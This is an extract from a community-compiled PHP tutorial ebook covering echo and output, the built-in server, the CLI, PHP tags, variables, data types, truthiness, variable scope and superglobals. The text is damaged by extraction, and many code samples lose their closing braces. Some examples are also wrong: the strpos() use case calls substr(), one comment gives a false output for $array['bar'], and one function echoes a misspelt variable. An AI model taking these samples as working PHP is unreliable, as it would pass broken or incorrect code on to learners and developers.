Section 95.1: Dumping

variables .............................................................................................................................. 417

Section 95.2: Displaying

errors ................................................................................................................................ 417

Section 95.3:
phpinfo() ..............................................................................................................................................
418

Section 95.4:
Xdebug ................................................................................................................................................
418

Section 95.5: Error Reporting (use them

both) ...................................................................................................... 419

Section 95.6:
phpversion() ........................................................................................................................................
419

Chapter 96: Unit

Testing ....................................................................................................................................... 420

Section 96.1: Testing class

rules ............................................................................................................................... 420

Section 96.2: PHPUnit Data

Providers ..................................................................................................................... 423

Section 96.3: Test

exceptions ................................................................................................................................... 426

Chapter 97:
Performance .....................................................................................................................................
428

Section 97.1: Profiling with

Xdebug .......................................................................................................................... 428

Section 97.2: Memory

Usage ................................................................................................................................... 429

Section 97.3: Profiling with

XHProf .......................................................................................................................... 430

Chapter 98:
Multiprocessing ...............................................................................................................................
432

Section 98.1: Multiprocessing using built-in fork

functions .................................................................................... 432

Section 98.2: Creating child process using

fork ..................................................................................................... 432

Section 98.3: Inter-Process

Communication ........................................................................................................... 433

Chapter 99: Multi Threading

Extension ......................................................................................................... 434

Section 99.1: Getting

Started .................................................................................................................................... 434

Section 99.2: Using Pools and

Workers .................................................................................................................. 434

Chapter 100: Secure Remeber

Me ................................................................................................................... 436

Section 100.1: “Keep Me Logged In” - the best

approach ..................................................................................... 436

Chapter 101:
Security ..............................................................................................................................................
437

Section 101.1: PHP Version

Leakage ......................................................................................................................... 437

Section 101.2: Cross-Site Scripting

(XSS) ................................................................................................................. 437

Section 101.3: Cross-Site Request

Forgery .............................................................................................................. 439

Section 101.4: Command Line

Injection ................................................................................................................... 440

Section 101.5: Stripping

Tags .................................................................................................................................... 441

Section 101.6: File

Inclusion ....................................................................................................................................... 442

Section 101.7: Error

Reporting .................................................................................................................................. 442
Section 101.8: Uploading
files ................................................................................................................................... 443

Chapter 102:
Cryptography ................................................................................................................................. 446

Section 102.1: Symmetric Encryption and Decryption of large Files with

OpenSSL ........................................... 446

Section 102.2: Symmetric

Cipher ............................................................................................................................. 448

Chapter 103: Password Hashing

Functions .................................................................................................. 449

Section 103.1: Creating a password

hash ................................................................................................................ 449

Section 103.2: Determine if an existing password hash can be upgraded to a stronger

algorithm ................ 450

Section 103.3: Verifying a password against a

hash ............................................................................................. 451

Chapter 104: Contributing to the PHP

Manual .......................................................................................... 452

Section 104.1: Improve the ocial

documentation ................................................................................................ 452

Section 104.2: Tips for contributing to the

manual ................................................................................................ 452

Chapter 105: Contributing to the PHP

Core ................................................................................................ 453

Section 105.1: Setting up a basic development

environment ................................................................................ 453

Appendix A: Installing a PHP environment on Windows .......................................................................

454

Section A.1: Download, Install and use

WAMP ........................................................................................................ 454

Section A.2: Install PHP and use it with

IIS .............................................................................................................. 454
Section A.3: Download and Install
XAMPP .............................................................................................................. 455

Appendix B: Installing on Linux/Unix Environments ...............................................................................

458

Section B.1: Command Line Install Using APT for PHP

7 ....................................................................................... 458

Section B.2: Installing in Enterprise Linux distributions (CentOS, Scientific Linux,

etc) ....................................... 458

Credits ...................................................................................................................................................
......................... 460

You may also

like ......................................................................................................................................................
468

GoalKicker.com – PHP Notes for Professionals 1

About

Please feel free to share this PDF with anyone for free,

latest version of this book can be downloaded from:

https://goalkicker.com/PHPBook

This PHP Notes for Professionals book is compiled from Stack Overflow

Documentation, the content is written by the beautiful people at Stack Overflow.

Text content is released under Creative Commons BY-SA, see credits at the end

of this book whom contributed to the various chapters. Images may be copyright

of their respective owners unless otherwise specified

This is an unofficial free book created for educational purposes and is not

affiliated with official PHP group(s) or company(s) nor Stack Overflow. All

trademarks and registered trademarks are the property of their respective

company owners

The information presented in this book is not guaranteed to be correct nor

accurate, use at your own risk

Please send feedback and corrections to web@petercv.com

GoalKicker.com – PHP Notes for Professionals 2

Chapter 1: Getting started with PHP

PHP 7.x

Version Supported Until Release Date

7.1 2019-12-01 2016-12-01

7.0 2018-12-03 2015-12-03

PHP 5.x

Version Supported Until Release Date

5.6 2018-12-31 2014-08-28

5.5 2016-07-21 2013-06-20

5.4 2015-09-03 2012-03-01

5.3 2014-08-14 2009-06-30

5.2 2011-01-06 2006-11-02

5.1 2006-08-24 2005-11-24

5.0 2005-09-05 2004-07-13

PHP 4.x

Version Supported Until Release Date

4.4 2008-08-07 2005-07-11

4.3 2005-03-31 2002-12-27

4.2 2002-09-06 2002-04-22

4.1 2002-03-12 2001-12-10

4.0 2001-06-23 2000-05-22

Legacy Versions
Version Supported Until Release Date

3.0 2000-10-20 1998-06-06

2.0 1997-11-01

1.0 1995-06-08

Section 1.1: HTML output from web server

PHP can be used to add content to HTML files. While HTML is processed directly by a web browser,
PHP scripts are

executed by a web server and the resulting HTML is sent to the browser.

The following HTML markup contains a PHP statement that will add Hello World! to the output:

<!DOCTYPE html>

<html>

<head>

<title>PHP!</title>

</head>

<body>

<p><?php echo "Hello world!"; ?></p>

</body>

</html>

When this is saved as a PHP script and executed by a web server, the following HTML will be sent to
the user's

browser:

<!DOCTYPE html>

<html>

<head>

GoalKicker.com – PHP Notes for Professionals 3

<title>PHP!</title>
</head>

<body>

<p>Hello world!</p>

</body>

</html>

PHP 5.x Version ≥ 5.4

echo also has a shortcut syntax, which lets you immediately print a value. Prior to PHP 5.4.0, this short
syntax only

works with the short_open_tag configuration setting enabled.

For example, consider the following code:

<p><?= "Hello world!" ?></p>

Its output is identical to the output of the following:

<p><?php echo "Hello world!"; ?></p>

In real-world applications, all data output by PHP to an HTML page should be properly escaped to
prevent XSS

(Cross-site scripting) attacks or text corruption.

See also: Strings and PSR-1, which describes best practices, including the proper use of short tags (<?
= ... ?>).

Section 1.2: Hello, World!

The most widely used language construct to print output in PHP is echo:

echo "Hello, World!\n";

Alternatively, you can also use print:

print "Hello, World!\n";

Both statements perform the same function, with minor differences:

echo has a void return, whereas print returns an int with a value of 1

echo can take multiple arguments (without parentheses only), whereas print only takes one argument

echo is slightly faster than print

Both echo and print are language constructs, not functions. That means they do not require
parentheses around

their arguments. For cosmetic consistency with functions, parentheses can be included. Extensive
examples of the

use of echo and print are available elsewhere.

C-style printf and related functions are available as well, as in the following example:

printf("%s\n", "Hello, World!");

See Outputting the value of a variable for a comprehensive introduction of outputting variables in PHP.

Section 1.3: Non-HTML output from web server

In some cases, when working with a web server, overriding the web server's default content type may
be required.

There may be cases where you need to send data as plain text, JSON, or XML, for example.

GoalKicker.com – PHP Notes for Professionals 4

The header() function can send a raw HTTP header. You can add the Content-Type header to notify the
browser of

the content we are sending.

Consider the following code, where we set Content-Type as text/plain:

header("Content-Type: text/plain");

echo "Hello World";

This will produce a plain text document with the following content:

Hello World

To produce JSON content, use the application/json content type instead:

header("Content-Type: application/json");

// Create a PHP data array.

$data = ["response" => "Hello World"];

// json_encode will convert it to a valid JSON string.

echo json_encode($data);
This will produce a document of type application/json with the following content:

{"response":"Hello World"}

Note that the header() function must be called before PHP produces any output, or the web server will
have

already sent headers for the response. So, consider the following code:

// Error: We cannot send any output before the headers

echo "Hello";

// All headers must be sent before ANY PHP output

header("Content-Type: text/plain");

echo "World";

This will produce a warning:

Warning: Cannot modify header information - headers already sent by (output started at

/dir/example.php:2) in /dir/example.php on line 3

When using header(), its output needs to be the first byte that's sent from the server. For this reason
it's important

to not have empty lines or spaces in the beginning of the file before the PHP opening tag <?php. For
the same

reason, it is considered best practice (see PSR-2) to omit the PHP closing tag ?> from files that contain
only PHP and

from blocks of PHP code at the very end of a file.

View the output buffering section to learn how to 'catch' your content into a variable to output later,
for example,

after outputting headers.

GoalKicker.com – PHP Notes for Professionals 5

Section 1.4: PHP built-in server

PHP 5.4+ comes with a built-in development server. It can be used to run applications without having
to install a

production HTTP server such as nginx or Apache. The built-in server is only designed to be used for
development

and testing purposes.

It can be started by using the -S flag:

php -S <host/ip>:<port>

Example usage

1. Create an index.php file containing:

<?php

echo "Hello World from built-in PHP server";

2. Run the command php -S localhost:8080 from the command line. Do not include

http://

. This will start a web server listening on port 8080 using the current directory that you are in as the

document root.

3. Open the browser and navigate to http://localhost:8080. You should see your "Hello World" page.

Configuration

To override the default document root (i.e. the current directory), use the -t flag:

php -S <host/ip>:<port> -t <directory>

E.g. if you have a public/ directory in your project you can serve your project from that directory using
php -S

localhost:8080 -t public/.

Logs

Every time a request is made from the development server, a log entry like the one below is written to
the

command line.

[Mon Aug 15 18:20:19 2016] ::1:52455 [200]: /

Section 1.5: PHP CLI

PHP can also be run from command line directly using the CLI (Command Line Interface).
CLI is basically the same as PHP from web servers, except some differences in terms of standard input
and output.

Triggering

The PHP CLI allows four ways to run PHP code:

1. Standard input. Run the php command without any arguments, but pipe PHP code into it: echo '<?
php echo

"Hello world!";' | php

2. Filename as argument. Run the php command with the name of a PHP source file as the first
argument: php

hello_world.php

GoalKicker.com – PHP Notes for Professionals 6

3. Code as argument. Use the -r option in the php command, followed by the code to run. The <?php
open tags

are not required, as everything in the argument is considered as PHP code: php -r 'echo "Hello
world!";'

4. Interactive shell. Use the -a option in the php command to launch an interactive shell. Then, type (or
paste)

PHP code and hit return : $ php -a Interactive mode enabled php > echo "Hello world!"; Hello world!

Output

All functions or controls that produce HTML output in web server PHP can be used to produce output
in the stdout

stream (file descriptor 1), and all actions that produce output in error logs in web server PHP will
produce output in

the stderr stream (file descriptor 2).

Example.php

<?php

echo "Stdout 1\n";

trigger_error("Stderr 2\n");

print_r("Stdout 3\n");
fwrite(STDERR, "Stderr 4\n");

throw new RuntimeException("Stderr 5\n");

?>

Stdout 6

Shell command line

$ php Example.php 2>stderr.log >stdout.log;\

> echo STDOUT; cat stdout.log; echo;\

> echo STDERR; cat stderr.log\

STDOUT

Stdout 1

Stdout 3

STDERR

Stderr 4

PHP Notice: Stderr 2

in /Example.php on line 3

PHP Fatal error: Uncaught RuntimeException: Stderr 5

in /Example.php:6

Stack trace:

#0 {main}

thrown in /Example.php on line 6

Input

See: Command Line Interface (CLI)

Section 1.6: Instruction Separation

Just like most other C-style languages, each statement is terminated with a semicolon. Also, a closing
tag is used to

terminate the last line of code of the PHP block.

If the last line of PHP code ends with a semicolon, the closing tag is optional if there is no code
following that final

line of code. For example, we can leave out the closing tag after echo "No error"; in the following
example:

<?php echo "No error"; // no closing tag is needed as long as there is no code below

However, if there is any other code following your PHP code block, the closing tag is no longer
optional:

<?php echo "This will cause an error if you leave out the closing tag"; ?>

<html>

<body>

GoalKicker.com – PHP Notes for Professionals 7

</body>

</html>

We can also leave out the semicolon of the last statement in a PHP code block if that code block has a
closing tag:

<?php echo "I hope this helps! :D";

echo "No error" ?>

It is generally recommended to always use a semicolon and use a closing tag for every PHP code block
except the

last PHP code block, if no more code follows that PHP code block.

So, your code should basically look like this:

<?php

echo "Here we use a semicolon!";

echo "Here as well!";

echo "Here as well!";

echo "Here we use a semicolon and a closing tag because more code follows";

?>
<p>Some HTML code goes here</p>

<?php

echo "Here we use a semicolon!";

echo "Here as well!";

echo "Here as well!";

echo "Here we use a semicolon and a closing tag because more code follows";

?>

<p>Some HTML code goes here</p>

<?php

echo "Here we use a semicolon!";

echo "Here as well!";

echo "Here as well!";

echo "Here we use a semicolon but leave out the closing tag";

Section 1.7: PHP Tags

There are three kinds of tags to denote PHP blocks in a file. The PHP parser is looking for the opening
and (if

present) closing tags to delimit the code to interpret.

Standard Tags

These tags are the standard method to embed PHP code in a file.

<?php

echo "Hello World";

?>

PHP 5.x Version ≥ 5.4

Echo Tags

These tags are available in all PHP versions, and since PHP 5.4 are always enabled. In previous
versions, echo tags
could only be enabled in conjunction with short tags.

<?= "Hello World" ?>

Short Tags

You can disable or enable these tags with the option short_open_tag.

GoalKicker.com – PHP Notes for Professionals 8

<?

echo "Hello World";

?>

Short tags:

are disallowed in all major PHP coding standards

are discouraged in the official documentation

are disabled by default in most distributions

interfere with inline XML's processing instructions

are not accepted in code submissions by most open source projects

PHP 5.x Version ≤ 5.6

ASP Tags

By enabling the asp_tags option, ASP-style tags can be used.

<%

echo "Hello World";

%>

These are an historic quirk and should never be used. They were removed in PHP 7.0.

GoalKicker.com – PHP Notes for Professionals 9

Chapter 2: Variables

Section 2.1: Accessing A Variable Dynamically By Name

(Variable variables)
Variables can be accessed via dynamic variable names. The name of a variable can be stored in
another variable,

allowing it to be accessed dynamically. Such variables are known as variable variables.

To turn a variable into a variable variable, you put an extra $ put in front of your variable.

$variableName = 'foo';

$foo = 'bar';

// The following are all equivalent, and all output "bar":

echo $foo;

echo ${$variableName};

echo $$variableName;

//similarly,

$variableName = 'foo';

$$variableName = 'bar';

// The following statements will also output 'bar'

echo $foo;

echo $$variableName;

echo ${$variableName};

Variable variables are useful for mapping function/method calls:

function add($a, $b) {

return $a + $b;

$funcName = 'add';

echo $funcName(1, 2); // outputs 3

This becomes particularly helpful in PHP classes:

class myClass {

public function __construct() {

$functionName = 'doSomething';

$this->$functionName('Hello World');

private function doSomething($string) {

echo $string; // Outputs "Hello World"

It is possible, but not required to put $variableName between {}:

${$variableName} = $value;

The following examples are both equivalent and output "baz":

$fooBar = 'baz';

GoalKicker.com – PHP Notes for Professionals 10

$varPrefix = 'foo';

echo $fooBar; // Outputs "baz"

echo ${$varPrefix . 'Bar'}; // Also outputs "baz"

Using {} is only mandatory when the name of the variable is itself an expression, like this:

${$variableNamePart1 . $variableNamePart2} = $value;

It is nevertheless recommended to always use {}, because it's more readable.

While it is not recommended to do so, it is possible to chain this behavior:

$$$$$$$$DoNotTryThisAtHomeKids = $value;

It's important to note that the excessive usage of variable variables is considered a bad practice by
many

developers. Since they're not well-suited for static analysis by modern IDEs, large codebases with
many

variable variables (or dynamic method invocations) can quickly become difficult to maintain.

Differences between PHP5 and PHP7

Another reason to always use {} or (), is that PHP5 and PHP7 have a slightly different way of dealing
with dynamic

variables, which results in a different outcome in some cases.

In PHP7, dynamic variables, properties, and methods will now be evaluated strictly in left-to-right
order, as opposed

to the mix of special cases in PHP5. The examples below show how the order of evaluation has
changed.

Case 1 : $$foo['bar']['baz']

PHP5 interpretation : ${$foo['bar']['baz']}

PHP7 interpretation : ($$foo)['bar']['baz']

Case 2 : $foo->$bar['baz']

PHP5 interpretation : $foo->{$bar['baz']}

PHP7 interpretation : ($foo->$bar)['baz']

Case 3 : $foo->$bar['baz']()

PHP5 interpretation : $foo->{$bar['baz']}()

PHP7 interpretation : ($foo->$bar)['baz']()

Case 4 : Foo::$bar['baz']()

PHP5 interpretation : Foo::{$bar['baz']}()

PHP7 interpretation : (Foo::$bar)['baz']()

Section 2.2: Data Types

There are different data types for different purposes. PHP does not have explicit type definitions, but
the type of a

variable is determined by the type of the value that is assigned, or by the type that it is casted to. This
is a brief

overview about the types, for a detailed documentation and examples, see the PHP types topic.

There are following data types in PHP: null, boolean, integer, float, string, object, resource and array.

GoalKicker.com – PHP Notes for Professionals 11

Null

Null can be assigned to any variable. It represents a variable with no value.

$foo = null;

This invalidates the variable and it's value would be undefined or void if called. The variable is cleared
from memory

and deleted by the garbage collector.

Boolean

This is the simplest type with only two possible values.

$foo = true;

$bar = false;

Booleans can be used to control the flow of code.

$foo = true;

if ($foo) {

echo "true";

} else {

echo "false";

Integer

An integer is a whole number positive or negative. It can be in used with any number base. The size of
an integer is

platform-dependent. PHP does not support unsigned integers.

$foo = -3; // negative

$foo = 0; // zero (can also be null or false (as boolean)

$foo = 123; // positive decimal

$bar = 0123; // octal = 83 decimal

$bar = 0xAB; // hexadecimal = 171 decimal

$bar = 0b1010; // binary = 10 decimal

var_dump(0123, 0xAB, 0b1010); // output: int(83) int(171) int(10)

Float

Floating point numbers, "doubles" or simply called "floats" are decimal numbers.

$foo = 1.23;

$foo = 10.0;

$bar = -INF;

$bar = NAN;

Array

An array is like a list of values. The simplest form of an array is indexed by integer, and ordered by the
index, with

the first element lying at index 0.

$foo = array(1, 2, 3); // An array of integers

$bar = ["A", true, 123 => 5]; // Short array syntax, PHP 5.4+

GoalKicker.com – PHP Notes for Professionals 12

echo $bar[0]; // Returns "A"

echo $bar[1]; // Returns true

echo $bar[123]; // Returns 5

echo $bar[1234]; // Returns null

Arrays can also associate a key other than an integer index to a value. In PHP, all arrays are associative
arrays

behind the scenes, but when we refer to an 'associative array' distinctly, we usually mean one that
contains one or

more keys that aren't integers.

$array = array();

$array["foo"] = "bar";

$array["baz"] = "quux";
$array[42] = "hello";

echo $array["foo"]; // Outputs "bar"

echo $array["bar"]; // Outputs "quux"

echo $array[42]; // Outputs "hello"

String

A string is like an array of characters.

$foo = "bar";

Like an array, a string can be indexed to return its individual characters:

$foo = "bar";

echo $foo[0]; // Prints 'b', the first character of the string in $foo.

Object

An object is an instance of a class. Its variables and methods can be accessed with the -> operator.

$foo = new stdClass(); // create new object of class stdClass, which a predefined, empty class

$foo->bar = "baz";

echo $foo->bar; // Outputs "baz"

// Or we can cast an array to an object:

$quux = (object) ["foo" => "bar"];

echo $quux->foo; // This outputs "bar".

Resource

Resource variables hold special handles to opened files, database connections, streams, image canvas
areas and

the like (as it is stated in the manual).

$fp = fopen('file.ext', 'r'); // fopen() is the function to open a file on disk as a resource.

var_dump($fp); // output: resource(2) of type (stream)

To get the type of a variable as a string, use the gettype() function:

echo gettype(1); // outputs "integer"

echo gettype(true); // "boolean"

GoalKicker.com – PHP Notes for Professionals 13

Section 2.3: Global variable best practices

We can illustrate this problem with the following pseudo-code

function foo() {

global $bob;

$bob->doSomething();

Your first question here is an obvious one

Where did $bob come from?

Are you confused? Good. You've just learned why globals are confusing and considered a bad practice.

If this were a real program, your next bit of fun is to go track down all instances of $bob and hope you
find the right

one (this gets worse if $bob is used everywhere). Worse, if someone else goes and defines $bob (or
you forgot and

reused that variable) your code can break (in the above code example, having the wrong object, or no
object at all,

would cause a fatal error).

Since virtually all PHP programs make use of code like include('file.php'); your job maintaining code
like this

becomes exponentially harder the more files you add.

Also, this makes the task of testing your applications very difficult. Suppose you use a global variable
to hold your

database connection:

$dbConnector = new DBConnector(...);

function doSomething() {

global $dbConnector;
$dbConnector->execute("...");

In order to unit test this function, you have to override the global $dbConnector variable, run the tests
and then

reset it to its original value, which is very bug prone:

/**

* @test

*/

function testSomething() {

global $dbConnector;

$bkp = $dbConnector; // Make backup

$dbConnector = Mock::create('DBConnector'); // Override

assertTrue(foo());

$dbConnector = $bkp; // Restore

How do we avoid Globals?

The best way to avoid globals is a philosophy called Dependency Injection. This is where we pass the
tools we

need into the function or class.

GoalKicker.com – PHP Notes for Professionals 14

function foo(\Bar $bob) {

$bob->doSomething();

This is much easier to understand and maintain. There's no guessing where $bob was set up because
the caller is

responsible for knowing that (it's passing us what we need to know). Better still, we can use type
declarations to
restrict what's being passed.

So we know that $bob is either an instance of the Bar class, or an instance of a child of Bar, meaning
we know we

can use the methods of that class. Combined with a standard autoloader (available since PHP 5.3), we
can now go

track down where Bar is defined. PHP 7.0 or later includes expanded type declarations, where you can
also use

scalar types (like int or string).

Version = 4.1

Superglobal variables

Super globals in PHP are predefined variables, which are always available, can be accessed from any
scope

throughout the script.

There is no need to do global $variable; to access them within functions/methods, classes or files.

These PHP superglobal variables are listed below:

$GLOBALS

$_SERVER

$_REQUEST

$_POST

$_GET

$_FILES

$_ENV

$_COOKIE

$_SESSION

Section 2.4: Default values of uninitialized variables

Although not necessary in PHP however it is a very good practice to initialize variables. Uninitialized
variables have a
default value of their type depending on the context in which they are used:

Unset AND unreferenced

var_dump($unset_var); // outputs NULL

Boolean

echo($unset_bool ? "true\n" : "false\n"); // outputs 'false'

String

$unset_str .= 'abc';

var_dump($unset_str); // outputs 'string(3) "abc"'

Integer

GoalKicker.com – PHP Notes for Professionals 15

$unset_int += 25; // 0 + 25 => 25

var_dump($unset_int); // outputs 'int(25)'

Float/double

$unset_float += 1.25;

var_dump($unset_float); // outputs 'float(1.25)'

Array

$unset_arr[3] = "def";

var_dump($unset_arr); // outputs array(1) { [3]=> string(3) "def" }

Object

$unset_obj->foo = 'bar';

var_dump($unset_obj); // Outputs: object(stdClass)#1 (1) { ["foo"]=> string(3) "bar" }

Relying on the default value of an uninitialized variable is problematic in the case of including one file
into another

which uses the same variable name.

Section 2.5: Variable Value Truthiness and Identical Operator

In PHP, variable values have an associated "truthiness" so even non-boolean values will equate to true
or false.

This allows any variable to be used in a conditional block, e.g.

if ($var == true) { /* explicit version */ }

if ($var) { /* $var == true is implicit */ }

Here are some fundamental rules for different types of variable values:

Strings with non-zero length equate to true including strings containing only whitepace such as ' '.

Empty strings '' equate to false.

$var = '';

$var_is_true = ($var == true); // false

$var_is_false = ($var == false); // true

$var = ' ';

$var_is_true = ($var == true); // true

$var_is_false = ($var == false); // false

Integers equate to true if they are nonzero, while zero equates to false.

$var = -1;

$var_is_true = ($var == true); // true

$var = 99;

$var_is_true = ($var == true); // true

$var = 0;

$var_is_true = ($var == true); // false

null equates to false

$var = null;

$var_is_true = ($var == true); // false

$var_is_false = ($var == false); // true

GoalKicker.com – PHP Notes for Professionals 16

Empty strings '' and string zero '0' equate to false.

$var = '';

$var_is_true = ($var == true); // false

$var_is_false = ($var == false); // true

$var = '0';

$var_is_true = ($var == true); // false

$var_is_false = ($var == false); // true

Floating-point values equate to true if they are nonzero, while zero values equates to false.

NAN (PHP's Not-a-Number) equates to true, i.e. NAN == true is true. This is because NAN is a nonzero

floating-point value.

Zero-values include both +0 and -0 as defined by IEEE 754. PHP does not distinguish between +0 and -0

in its double-precision floating-point, i.e. floatval('0') == floatval('-0') is true.

In fact, floatval('0') === floatval('-0').

Additionally, both floatval('0') == false and floatval('-0') == false.

$var = NAN;

$var_is_true = ($var == true); // true

$var_is_false = ($var == false); // false

$var = floatval('-0');

$var_is_true = ($var == true); // false

$var_is_false = ($var == false); // true

$var = floatval('0') == floatval('-0');

$var_is_true = ($var == true); // false

$var_is_false = ($var == false); // true

IDENTICAL OPERATOR

In the PHP Documentation for Comparison Operators, there is an Identical Operator ===. This operator
can be used
to check whether a variable is identical to a reference value:

$var = null;

$var_is_null = $var === null; // true

$var_is_true = $var === true; // false

$var_is_false = $var === false; // false

It has a corresponding not identical operator !==:

$var = null;

$var_is_null = $var !== null; // false

$var_is_true = $var !== true; // true

$var_is_false = $var !== false; // true

The identical operator can be used as an alternative to language functions like is_null().

USE CASE WITH strpos()

The strpos($haystack, $needle) language function is used to locate the index at which $needle occurs
in

$haystack, or whether it occurs at all. The strpos() function is case sensitive; if case-insensitive find is
what you

need you can go with stripos($haystack, $needle)

The strpos & stripos function also contains third parameter offset (int) which if specified, search will
start this

number of characters counted from the beginning of the string. Unlike strrpos and strripos, the offset
cannot be

GoalKicker.com – PHP Notes for Professionals 17

negative

The function can return:

0 if $needle is found at the beginning of $haystack;

a non-zero integer specifying the index if $needle is found somewhere other than the beginning in

$haystack;
and value false if $needle is not found anywhere in $haystack.

Because both 0 and false have truthiness false in PHP but represent distinct situations for strpos(), it is

important to distinguish between them and use the identical operator === to look exactly for false and
not just a

value that equates to false.

$idx = substr($haystack, $needle);

if ($idx === false)

// logic for when $needle not found in $haystack

else

// logic for when $needle found in $haystack

Alternatively, using the not identical operator:

$idx = substr($haystack, $needle);

if ($idx !== false)

// logic for when $needle found in $haystack

else

// logic for when $needle not found in $haystack

GoalKicker.com – PHP Notes for Professionals 18

Chapter 3: Variable Scope

Variable scope refers to the regions of code where a variable may be accessed. This is also referred to
as visibility. In

PHP scope blocks are defined by functions, classes, and a global scope available throughout an
application.

Section 3.1: Superglobal variables

Superglobal variables are defined by PHP and can always be used from anywhere without the global
keyword.

<?php

function getPostValue($key, $default = NULL) {

// $_POST is a superglobal and can be used without

// having to specify 'global $_POST;'

if (isset($_POST[$key])) {

return $_POST[$key];

return $default;

// retrieves $_POST['username']

echo getPostValue('username');

// retrieves $_POST['email'] and defaults to empty string

echo getPostValue('email', '');

Section 3.2: Static properties and variables

Static class properties that are defined with the public visibility are functionally the same as global
variables. They

can be accessed from anywhere the class is defined.

class SomeClass {

public static int $counter = 0;

}
// The static $counter variable can be read/written from anywhere

// and doesn't require an instantiation of the class

SomeClass::$counter += 1;

Functions can also define static variables inside their own scope. These static variables persist through
multiple

function calls, unlike regular variables defined in a function scope. This can be a very easy and simple
way to

implement the Singleton design pattern:

class Singleton {

public static function getInstance() {

// Static variable $instance is not deleted when the function ends

static $instance;

// Second call to this function will not get into the if-statement,

// Because an instance of Singleton is now stored in the $instance

// variable and is persisted through multiple calls

if (!$instance) {

// First call to this function will reach this line,

// because the $instance has only been declared, not initialized

$instance = new Singleton();

GoalKicker.com – PHP Notes for Professionals 19

return $instance;

$instance1 = Singleton::getInstance();

$instance2 = Singleton::getInstance();
// Comparing objects with the '===' operator checks whether they are

// the same instance. Will print 'true', because the static $instance

// variable in the getInstance() method is persisted through multiple calls

var_dump($instance1 === $instance2);

Section 3.3: User-defined global variables

The scope outside of any function or class is the global scope. When a PHP script includes another
(using include

or require) the scope remains the same. If a script is included outside of any function or class, it's
global variables

are included in the same global scope, but if a script is included from within a function, the variables in
the included

script are in the scope of the function.

Within the scope of a function or class method, the global keyword may be used to create an access
user-defined

global variables.

<?php

$amount_of_log_calls = 0;

function log_message($message) {

// Accessing global variable from function scope

// requires this explicit statement

global $amount_of_log_calls;

// This change to the global variable is permanent

$amount_of_log_calls += 1;

echo $message;

// When in the global scope, regular global variables can be used

// without explicitly stating 'global $variable;'

echo $amount_of_log_calls; // 0

log_message("First log message!");

echo $amount_of_log_calls; // 1

log_message("Second log message!");

echo $amount_of_log_calls; // 2

A second way to access variables from the global scope is to use the special PHP-defined $GLOBALS
array.

The $GLOBALS array is an associative array with the name of the global variable being the key and the
contents of

that variable being the value of the array element. Notice how $GLOBALS exists in any scope, this is
because

$GLOBALS is a superglobal.

This means that the log_message() function could be rewritten as:

function log_message($message) {

// Access the global $amount_of_log_calls variable via the

// $GLOBALS array. No need for 'global $GLOBALS;', since it

GoalKicker.com – PHP Notes for Professionals 20

// is a superglobal variable.

$GLOBALS['amount_of_log_calls'] += 1;

echo $messsage;

One might ask, why use the $GLOBALS array when the global keyword can also be used to get a global
variable's

value? The main reason is using the global keyword will bring the variable into scope. You then can't
reuse the

same variable name in the local scope.

GoalKicker.com – PHP Notes for Professionals 21

Chapter 4: Superglobal Variables PHP

Superglobals are built-in variables that are always available in all scopes.

Several predefined variables in PHP are "superglobals", which means they are available in all scopes
throughout a

script. There is no need to do global $variable; to access them within functions or methods.

Section 4.1: Suberglobals explained

Introduction

Put simply, these are variables that are available in all scope in your scripts.

This means that there is no need to pass them as parameters in your functions, or store them outside
a block of

code to have them available in different scopes.

What's a superglobal??

If you're thinking that these are like superheroes - they're not.

As of PHP version 7.1.3 there are 9 superglobal variables. They are as follows:

$GLOBALS - References all variables available in global scope

$_SERVER - Server and execution environment information

$_GET - HTTP GET variables

$_POST - HTTP POST variables

$_FILES - HTTP File Upload variables

$_COOKIE - HTTP Cookies

$_SESSION - Session variables

$_REQUEST - HTTP Request variables

$_ENV - Environment variables

See the documentation.

Tell me more, tell me more

I'm sorry for the Grease reference! Link

Time for some explanation on these superheroesglobals.

$GLOBALS

An associative array containing references to all variables which are currently defined in the global
scope

of the script. The variable names are the keys of the array.

Code

$myGlobal = "global"; // declare variable outside of scope

function test()

$myLocal = "local"; // declare variable inside of scope

// both variables are printed

var_dump($myLocal);

GoalKicker.com – PHP Notes for Professionals 22

var_dump($GLOBALS["myGlobal"]);

test(); // run function

// only $myGlobal is printed since $myLocal is not globally scoped

var_dump($myLocal);

var_dump($myGlobal);

Output

string 'local' (length=5)

string 'global' (length=6)

null

string 'global' (length=6)

In the above example $myLocal is not displayed the second time because it is declared inside the test()
function
and then destroyed after the function is closed.

Becoming global

To remedy this there are two options.

Option one: global keyword

function test()

global $myLocal;

$myLocal = "local";

var_dump($myLocal);

var_dump($GLOBALS["myGlobal"]);

The global keyword is a prefix on a variable that forces it to be part of the global scope.

Note that you cannot assign a value to a variable in the same statement as the global keyword. Hence,
why I had to

assign a value underneath. (It is possible if you remove new lines and spaces but I don't think it is
neat. global

$myLocal; $myLocal = "local").

Option two: $GLOBALS array

function test()

$GLOBALS["myLocal"] = "local";

$myLocal = $GLOBALS["myLocal"];

var_dump($myLocal);

var_dump($GLOBALS["myGlobal"]);

In this example I reassigned $myLocal the value of $GLOBAL["myLocal"] since I find it easier writing a
variable name
rather than the associative array.

$_SERVER

$_SERVER is an array containing information such as headers, paths, and script locations. The entries
in

this array are created by the web server. There is no guarantee that every web server will provide any
of

these; servers may omit some, or provide others not listed here. That said, a large number of these

GoalKicker.com – PHP Notes for Professionals 23

variables are accounted for in the CGI/1.1 specification, so you should be able to expect those.

An example output of this might be as follows (run on my Windows PC using WAMP)

C:\wamp64\www\test.php:2:

array (size=36)

'HTTP_HOST' => string 'localhost' (length=9)

'HTTP_CONNECTION' => string 'keep-alive' (length=10)

'HTTP_CACHE_CONTROL' => string 'max-age=0' (length=9)

'HTTP_UPGRADE_INSECURE_REQUESTS' => string '1' (length=1)

'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36

(KHTML,

like Gecko) Chrome/57.0.2987.133 Safari/537.36' (length=110)

'HTTP_ACCEPT' => string

'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' (length=74)

'HTTP_ACCEPT_ENCODING' => string 'gzip, deflate, sdch, br' (length=23)

'HTTP_ACCEPT_LANGUAGE' => string 'en-US,en;q=0.8,en-GB;q=0.6' (length=26)

'HTTP_COOKIE' => string 'PHPSESSID=0gslnvgsci371ete9hg7k9ivc6' (length=36)

'PATH' => string 'C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files

(x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS

Client\;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\
System32\Wbem

